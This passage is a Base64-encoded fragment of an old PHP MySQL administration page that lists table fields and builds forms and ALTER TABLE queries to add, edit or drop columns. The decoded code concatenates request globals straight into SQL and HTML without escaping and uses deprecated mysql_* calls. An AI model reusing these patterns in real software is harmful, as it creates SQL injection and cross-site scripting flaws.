YXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFtZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoNCgkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIoIiApICkgew0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCSR2YWx1ZWxpc3QgPSBzdHJ0b2soICIgKClcbiIgKTsNCgkJCX0gZWxzZSB7DQoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQkJaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgIiwiICkgKQ0KCQkJCQkkRCA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JFBIUF9TRUxGPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbiI7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCjxmb250IHNpemU9MiBjbGFzcz0ibmV3Ij4NCiogYE1cJyBpbmRpY2F0ZXMgdGhlIG1heGltdW0gZGlzcGxheSBzaXplLjxicj4NCiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4NCjwvZm9udD4NCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwnYXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwPic7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFOR0UgJG9sZF9uYW1lICRuYW1lICI7DQoJaWYoICRNICE9ICIiICkNCgkJaWYoICREICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0sJEQpICI7DQoJCWVsc2UNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7DQoJZWxzZSBpZiggJHZhbHVlbGlzdCAhPSAiIiApIHsNCgkJJHZhbHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOw0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7DQoJfSBlbHNlDQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcn